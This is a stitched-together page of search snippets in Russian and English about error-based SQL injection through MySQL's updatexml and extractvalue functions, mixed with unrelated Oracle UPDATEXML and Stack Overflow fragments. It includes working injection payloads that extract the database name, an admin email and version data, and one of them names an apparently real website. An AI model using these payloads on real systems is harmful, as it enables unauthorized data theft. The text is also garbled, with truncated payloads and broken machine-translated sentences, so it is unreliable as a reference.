Статья - SQL-injection, Error Based - XPATH - Codeby.net
Ну что хакеры, сначала выясним название базы данных, отправив такой запрос с updatexml: 1' and updatexml(null,concat(CHAR(123),database(),CHAR(125)),null)-- -. Отлично, в выводе ошибки присутствует название базы my_db.
XPATH Error Based Injection UpdateXML
Now we can continue our discussion after the Basic Union based and Bypassing Row Limit injections comes XPATH.
Remember a simple updatexml error injection - Programmer Sought
Query specific data updatexml (1, concat (0x7e, (select email from pg_admin_config limit 0, 1), 0x7e), 1)–+. Summary, simple and interference-free error injection updatexml(1, concat(0x7e, (general injection statement), 0x7e), 1)–+ can basically log out the data. is very low, refusing to refute.
and updatexml(5947, concat(0x2e,0x34705578456a,(select (elt...
0x27,0x7e) limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a www.forexpf.ru/currency_usd.asp and(select 1 from(select count(*),concat((select (select (select distinct concat(version(),0x27
UPDATEXML « XML « Oracle PL / SQL
UPDATEXML function supports multiple elements. 2. Update xmltype type column. 3. Use UPDATEXML function to update a portion of the doc.
SQL error injection: extractvalue, updatexml error... - Programmer All
(Here we are to learn error injection, so there is no need to know the specific principle of this function in detail). Use the concat function to splice the database content you want to get into the second parameter, and output as the content when an error is reported. Two, updatexml function.
sql - Oracle-XMLTYPE : How to update a value - Stack Overflow
I would like to know how to update the value from 999 to 666 for variable "HR" and also the variable value from "floor" to "SALES".
Помните простую инъекцию ошибки updatexml - Русские Блоги
Таким образом, простая и не мешающая внедрению ошибок updatexml (1, concat (0x7e, (нормальный оператор внедрения), 0x7e), 1) - + В основном данные могут быть введены написал очень мало, отказался опровергнуть.
sql - Значение параметра передачи Oracle XMLQuery...
SELECT extractvalue(update_xmldoc, 'count(/invoice/AR_ITEMS/ITEMS[NAME="Voice" and ITEM_TOTAL!=0])') INTO item_check FROM xml_billrun_files WHERE seq_id = seq AND docname = REPLACE(fn,'.','_HULK.') Order by timestamp desc